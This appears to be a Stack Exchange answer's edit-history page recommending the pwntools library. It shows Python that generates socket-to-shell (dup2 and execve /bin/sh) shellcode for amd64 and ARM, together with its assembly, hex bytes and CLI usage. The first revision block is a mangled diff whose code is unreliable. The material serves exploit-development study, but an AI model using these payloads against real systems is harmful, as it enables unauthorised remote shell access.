Skip to main content
Update for more modern Pwntools
Source Link
Zach Riggle
  • 2.4k
  • 1
  • 16
  • 28

Take a look at Pwnies'Gallopsled's pwntools. Does all the things you want it to, and has most of it built in already.

https://github.com/pwnies/pwntoolshttps://github.com/Gallopsled/pwntools

Here's a quick example of "I want to dup file descriptor #4 (generallye.g. a connected TCP socket) to stdin/stdout/stderr, and pop a shell".

#!/usr/bin/env python
from pwn import *
context('arm','linux').arch #= Replace'amd64' either# withDefault i386/amd64/mips/etcarchitecture oris freebsdi386

scshellcode = shellcodeshellcraft.dupshdupio(4)
for block in+ scshellcraft.blocks:sh()
print shellcode
print '----'
print block.textenhex(asm(shellcode))
print '----'
print enhexhexdump(asm(scshellcode))

Prints out

dup_1:
# An example assemblying custompush assembly.4
# This works in x86/amd64pop rbp

    push 3
loop_2:
    pop rsi
    dec rsi
    js after_3
    push rsi

    /mips* call dup2('rbp', 'rsi') */arm
    push SYS_dup2 /ppc* 0x21 */etc.
print enhex(asm('''   pop rax
    mov r0rdi, #0rbp
bx lr   syscall
''')
    jmp loop_2
after_3:
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */

Prints out

    /* push '/bin///sh\x00' Set*/
 r9 = 4 push 0x68
ldr r9   mov rax, =4
0x732f2f2f6e69622f
// Set r8 = 2push rax
ldr r8   mov rdi, =2rsp
    /* push argument array ['sh\x00'] */
dup_helper:    /* push 'sh\x00' */
mov r0   push 0x1010101 ^ 0x6873
    xor dword ptr [rsp], r90x1010101
mov r1   xor esi, r8esi /* 0 */
svc SYS_dup2   push rsi /* null terminate */
adds r8, #-1  push 8
bpl dup_helper   pop rsi
adr r0   add rsi, bin_shrsp
    push rsi /* 'sh\x00' */
    mov r2rsi, #0rsp
push {r0   xor edx, r2}edx /* 0 */
mov r1, sp  /* call execve() */
svc    push SYS_execve /* 0x3b */
bin_sh: .asciz "  pop rax
    syscall

----
6a045d6a035e48ffce780b566a21584889ef0f05ebef6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05
----
00000000  6a 04 5d 6a  03 5e 48 ff  ce 78 0b 56  6a 21 58 48  │j·]j│·^H·│·x·V│j!XH│
00000010  89 ef 0f 05  eb ef 6a 68  48 b8 2f 62  69 6e 2f 2f  │····│··jh│H·/binb│in/sh"/│
00000020  2f 73 50 48  89 e7 68 72  69 01 01 81  34 24 01 01  │/sPH│··hr│i···│4$··│
00000030  01 01 31 f6  56 6a 08 5e  48 01 e6 56  48 89 e6 31  │··1·│Vj·^│H··V│H··1│
00000040  d2 6a 3b 58  0f 05                                  │·j;X│··│
00000046
0490a0e30280a0e30900a0e10810a0e13f0090ef018058e2faffff5a0c008fe20020a0e305002de90d10a0e10b0090ef2f62696e2f736800
0000a0e31eff2fe1

They've also got nifty command-line tools for testing shellcode. For example:

$ pwn shellcraft -ci386.linux.echo "Hello world"
6801010101813424736d6501686f20776f6848656c6c6a04586a015b89e16a0b5acd80

If you pipe it to a file or another program, raw binary is sent.

$ pwn shellcraft i386.linux.echo -c"Hello world" | xxd
00000000: 6801 0101 0181 3424 736d 6501 686f 2077  h.....4$sme.ho w
00000010: 6f68 4865 6c6c 6a04 586a 015b 89e1 6a0b  ohHellj.Xj.[..j.
00000020: 5acd 80                                  Z..

You can print out the raw annotated assembly:

$ pwn shellcraft i386.linux.echo "Hello world" -f asm
/* push 'Hello world' */
push 0x1010101
xor dword ptr [esp], 0x1656d73
push 0x6f77206f
push 0x6c6c6548
/* call write('1', 'esp', 0xb) */
push SYS_write /* 4 */
pop eax
push (1) /* 1 */
pop ebx
mov ecx, esp
push 0xb
pop edx
int 0x80

Or generate an ELF:

$ pwn shellcraft i386.linux.echo "Hello world" |--format demo32elf > hello
$ file hello
hello: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped 
Hello

And even automatically execute or debug it:

$ worldpwn shellcraft ... --run
$ pwn shellcraft ... --debug

You can also assemble your own shellcode on the command-line:

$ pwn asm nop
90
$ pwn asm nop | xxd
00000000: 90                                       .

Take a look at Pwnies' pwntools. Does all the things you want it to, and has most of it built in already.

https://github.com/pwnies/pwntools

Here's a quick example of "I want to dup file descriptor #4 (generally a socket) to stdin/stdout/stderr, and pop a shell".

#!/usr/bin/env python
from pwn import *
context('arm','linux') # Replace either with i386/amd64/mips/etc or freebsd

sc = shellcode.dupsh(4)
for block in sc.blocks:
  print block.text

print enhex(asm(sc))

# An example assemblying custom assembly.
# This works in x86/amd64/mips/arm/ppc/etc.
print enhex(asm('''
mov r0, #0
bx lr
'''))

Prints out

// Set r9 = 4
ldr r9, =4

// Set r8 = 2
ldr r8, =2

dup_helper:
mov r0, r9
mov r1, r8
svc SYS_dup2
adds r8, #-1
bpl dup_helper
adr r0, bin_sh
mov r2, #0
push {r0, r2}
mov r1, sp
svc SYS_execve
bin_sh: .asciz "/bin/sh"
0490a0e30280a0e30900a0e10810a0e13f0090ef018058e2faffff5a0c008fe20020a0e305002de90d10a0e10b0090ef2f62696e2f736800
0000a0e31eff2fe1

They've also got nifty tools for testing shellcode. For example:

shellcraft -c i386 -c linux echo "Hello world" | demo32 -
Hello world

Take a look at Gallopsled's pwntools. Does all the things you want it to, and has most of it built in already.

https://github.com/Gallopsled/pwntools

Here's a quick example of "I want to dup file descriptor #4 (e.g. a connected TCP socket) to stdin/stdout/stderr, and pop a shell".

#!/usr/bin/env python
from pwn import *
context.arch = 'amd64' # Default architecture is i386

shellcode = shellcraft.dupio(4) + shellcraft.sh()
print shellcode
print '----'
print enhex(asm(shellcode))
print '----'
print hexdump(asm(shellcode))

Prints out

dup_1:
    push 4
    pop rbp

    push 3
loop_2:
    pop rsi
    dec rsi
    js after_3
    push rsi

    /* call dup2('rbp', 'rsi') */
    push SYS_dup2 /* 0x21 */
    pop rax
    mov rdi, rbp
    syscall

    jmp loop_2
after_3:
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push '/bin///sh\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
    /* push argument array ['sh\x00'] */
    /* push 'sh\x00' */
    push 0x1010101 ^ 0x6873
    xor dword ptr [rsp], 0x1010101
    xor esi, esi /* 0 */
    push rsi /* null terminate */
    push 8
    pop rsi
    add rsi, rsp
    push rsi /* 'sh\x00' */
    mov rsi, rsp
    xor edx, edx /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall

----
6a045d6a035e48ffce780b566a21584889ef0f05ebef6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05
----
00000000  6a 04 5d 6a  03 5e 48 ff  ce 78 0b 56  6a 21 58 48  │j·]j│·^H·│·x·V│j!XH│
00000010  89 ef 0f 05  eb ef 6a 68  48 b8 2f 62  69 6e 2f 2f  │····│··jh│H·/b│in//│
00000020  2f 73 50 48  89 e7 68 72  69 01 01 81  34 24 01 01  │/sPH│··hr│i···│4$··│
00000030  01 01 31 f6  56 6a 08 5e  48 01 e6 56  48 89 e6 31  │··1·│Vj·^│H··V│H··1│
00000040  d2 6a 3b 58  0f 05                                  │·j;X│··│
00000046
0490a0e30280a0e30900a0e10810a0e13f0090ef018058e2faffff5a0c008fe20020a0e305002de90d10a0e10b0090ef2f62696e2f736800
0000a0e31eff2fe1

They've also got nifty command-line tools for testing shellcode. For example:

$ pwn shellcraft i386.linux.echo "Hello world"
6801010101813424736d6501686f20776f6848656c6c6a04586a015b89e16a0b5acd80

If you pipe it to a file or another program, raw binary is sent.

$ pwn shellcraft i386.linux.echo "Hello world" | xxd
00000000: 6801 0101 0181 3424 736d 6501 686f 2077  h.....4$sme.ho w
00000010: 6f68 4865 6c6c 6a04 586a 015b 89e1 6a0b  ohHellj.Xj.[..j.
00000020: 5acd 80                                  Z..

You can print out the raw annotated assembly:

$ pwn shellcraft i386.linux.echo "Hello world" -f asm
/* push 'Hello world' */
push 0x1010101
xor dword ptr [esp], 0x1656d73
push 0x6f77206f
push 0x6c6c6548
/* call write('1', 'esp', 0xb) */
push SYS_write /* 4 */
pop eax
push (1) /* 1 */
pop ebx
mov ecx, esp
push 0xb
pop edx
int 0x80

Or generate an ELF:

$ pwn shellcraft i386.linux.echo "Hello world" --format elf > hello
$ file hello
hello: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped 

And even automatically execute or debug it:

$ pwn shellcraft ... --run
$ pwn shellcraft ... --debug

You can also assemble your own shellcode on the command-line:

$ pwn asm nop
90
$ pwn asm nop | xxd
00000000: 90                                       .
added 96 characters in body
Source Link
Zach Riggle
  • 2.4k
  • 1
  • 16
  • 28

Take a look at Pwnies' pwntools. Does all the things you want it to, and has most of it built in already.

https://github.com/pwnies/pwntools

For a few examples of it in use, I put up some writeups from Codegate 2013 and the pwnies do their own writeups as well.

Here's a quick example of "I want to dup file descriptor #4 (generally a socket) to stdin/stdout/stderr, and pop a shell".

#!/usr/bin/env python
from pwn import *
context('arm','linux') # Replace either with i386/amd64/mips/etc or freebsd

sc = shellcode.dupsh(4)
for block in sc.blocks:
  print block.text

print enhex(asm(sc))

# An example assemblying custom assembly.
# This works in x86/amd64/mips/arm/ppc/etc.
print enhex(asm('''
mov r0, #0
bx lr
'''))

Prints out

// Set r9 = 4
ldr r9, =4

// Set r8 = 2
ldr r8, =2

dup_helper:
mov r0, r9
mov r1, r8
svc SYS_dup2
adds r8, #-1
bpl dup_helper
adr r0, bin_sh
mov r2, #0
push {r0, r2}
mov r1, sp
svc SYS_execve
bin_sh: .asciz "/bin/sh"
0490a0e30280a0e30900a0e10810a0e13f0090ef018058e2faffff5a0c008fe20020a0e305002de90d10a0e10b0090ef2f62696e2f736800
0000a0e31eff2fe1

They've also got nifty tools for testing shellcode. For example:

shellcraft -c i386 -c linux echo "Hello world" | demo32 -
Hello world

Take a look at Pwnies' pwntools. Does all the things you want it to, and has most of it built in already.

https://github.com/pwnies/pwntools

For a few examples of it in use, I put up some writeups from Codegate 2013 and the pwnies do their own writeups as well.

Here's a quick example of "I want to dup file descriptor #4 (generally a socket) to stdin/stdout/stderr, and pop a shell".

#!/usr/bin/env python
from pwn import *
context('arm','linux') # Replace either with i386/amd64/mips/etc or freebsd

sc = shellcode.dupsh(4)
for block in sc.blocks:
  print block.text

print enhex(asm(sc))

print enhex(asm('''
mov r0, #0
bx lr
'''))

Prints out

// Set r9 = 4
ldr r9, =4

// Set r8 = 2
ldr r8, =2

dup_helper:
mov r0, r9
mov r1, r8
svc SYS_dup2
adds r8, #-1
bpl dup_helper
adr r0, bin_sh
mov r2, #0
push {r0, r2}
mov r1, sp
svc SYS_execve
bin_sh: .asciz "/bin/sh"
0490a0e30280a0e30900a0e10810a0e13f0090ef018058e2faffff5a0c008fe20020a0e305002de90d10a0e10b0090ef2f62696e2f736800
0000a0e31eff2fe1

They've also got nifty tools for testing shellcode. For example:

shellcraft -c i386 -c linux echo "Hello world" | demo32 -
Hello world

Take a look at Pwnies' pwntools. Does all the things you want it to, and has most of it built in already.

https://github.com/pwnies/pwntools

For a few examples of it in use, I put up some writeups from Codegate 2013 and the pwnies do their own writeups as well.

Here's a quick example of "I want to dup file descriptor #4 (generally a socket) to stdin/stdout/stderr, and pop a shell".

#!/usr/bin/env python
from pwn import *
context('arm','linux') # Replace either with i386/amd64/mips/etc or freebsd

sc = shellcode.dupsh(4)
for block in sc.blocks:
  print block.text

print enhex(asm(sc))

# An example assemblying custom assembly.
# This works in x86/amd64/mips/arm/ppc/etc.
print enhex(asm('''
mov r0, #0
bx lr
'''))

Prints out

// Set r9 = 4
ldr r9, =4

// Set r8 = 2
ldr r8, =2

dup_helper:
mov r0, r9
mov r1, r8
svc SYS_dup2
adds r8, #-1
bpl dup_helper
adr r0, bin_sh
mov r2, #0
push {r0, r2}
mov r1, sp
svc SYS_execve
bin_sh: .asciz "/bin/sh"
0490a0e30280a0e30900a0e10810a0e13f0090ef018058e2faffff5a0c008fe20020a0e305002de90d10a0e10b0090ef2f62696e2f736800
0000a0e31eff2fe1

They've also got nifty tools for testing shellcode. For example:

shellcraft -c i386 -c linux echo "Hello world" | demo32 -
Hello world
Source Link
Zach Riggle
  • 2.4k
  • 1
  • 16
  • 28

Take a look at Pwnies' pwntools. Does all the things you want it to, and has most of it built in already.

https://github.com/pwnies/pwntools

For a few examples of it in use, I put up some writeups from Codegate 2013 and the pwnies do their own writeups as well.

Here's a quick example of "I want to dup file descriptor #4 (generally a socket) to stdin/stdout/stderr, and pop a shell".

#!/usr/bin/env python
from pwn import *
context('arm','linux') # Replace either with i386/amd64/mips/etc or freebsd

sc = shellcode.dupsh(4)
for block in sc.blocks:
  print block.text

print enhex(asm(sc))

print enhex(asm('''
mov r0, #0
bx lr
'''))

Prints out

// Set r9 = 4
ldr r9, =4

// Set r8 = 2
ldr r8, =2

dup_helper:
mov r0, r9
mov r1, r8
svc SYS_dup2
adds r8, #-1
bpl dup_helper
adr r0, bin_sh
mov r2, #0
push {r0, r2}
mov r1, sp
svc SYS_execve
bin_sh: .asciz "/bin/sh"
0490a0e30280a0e30900a0e10810a0e13f0090ef018058e2faffff5a0c008fe20020a0e305002de90d10a0e10b0090ef2f62696e2f736800
0000a0e31eff2fe1

They've also got nifty tools for testing shellcode. For example:

shellcraft -c i386 -c linux echo "Hello world" | demo32 -
Hello world